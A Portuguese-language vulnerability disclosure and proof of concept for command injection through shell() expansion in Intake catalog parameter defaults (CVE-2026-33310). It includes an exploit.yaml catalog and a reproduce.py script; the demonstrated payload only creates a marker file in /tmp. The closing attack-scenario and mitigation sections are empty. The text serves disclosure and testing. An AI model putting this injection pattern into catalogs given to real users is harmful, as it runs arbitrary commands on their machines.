
Prova de conceito demonstrando injeção de comandos via expansão shell() em valores padrão de parâmetros de catálogos Intake, com YAML de exploit e script de reprodução.
CVE-2026-33310 (Injeção de Comando via Expansão shell() em Valores Padrão de Parâmetros)
A sintaxe shell() dentro de valores padrão de parâmetros parece ser expandida automaticamente durante o processo de análise do catálogo. Se um catálogo contiver um valor padrão de parâmetro como shell(), o comando pode ser executado quando a fonte do catálogo for acessada. Isso significa que, se um usuário carregar um YAML de catálogo malicioso, comandos incorporados podem ser executados no sistema host. Esse comportamento pode potencialmente ser classificado como CWE-78: Injeção de Comando no Sistema Operacional / Expansão de Shell Insegura.
O problema parece ter origem em como os valores padrão de parâmetros são expandidos quando uma fonte de catálogo é acessada.
Durante o carregamento do catálogo e o acesso à fonte:
O Intake resolve os valores padrão de parâmetros A função responsável por expandir os padrões processa a sintaxe shell() A expressão shell() aciona a execução de um subprocesso Como isso ocorre durante a avaliação do catálogo, o comando pode ser executado antes que o usuário interaja explicitamente com o próprio conjunto de dados.
A lógica afetada parece envolver:
expand_defaults()
e mecanismos relacionados de análise de parâmetros.
exploit.yaml
metadata:
version: 1
sources:
rce_test:
driver: csv
description: "Testando expansão de shell em parâmetros"
args:
urlpath: "{{ cmd_exec }}"
parameters:
cmd_exec:
display_name: "Parâmetro de Teste"
type: str
default: "shell(touch /tmp/intake_rce_test)"
reproduce.py
import intake
import os
PROOF_FILE = "/tmp/intake_rce_test"
if os.path.exists(PROOF_FILE):
os.remove(PROOF_FILE)
print(f"[*] Arquivo de prova existe antes: {os.path.exists(PROOF_FILE)}")
try:
cat = intake.open_catalog("exploit.yaml")
print("Acessando fonte...")
_ = cat["rce_test"]
except Exception as e:
print(f" Erro durante a execução: {e}")
if os.path.exists(PROOF_FILE):
print(f" Execução de comando confirmada, Encontrado: {PROOF_FILE}")
else:
print("A execução de comando não ocorreu.")
Um cenário de ataque potencial poderia ser:
Se esse comportamento for confirmado como não intencional, um atacante poderia distribuir um arquivo de catálogo malicioso via:
Mitigações possíveis poderiam incluir: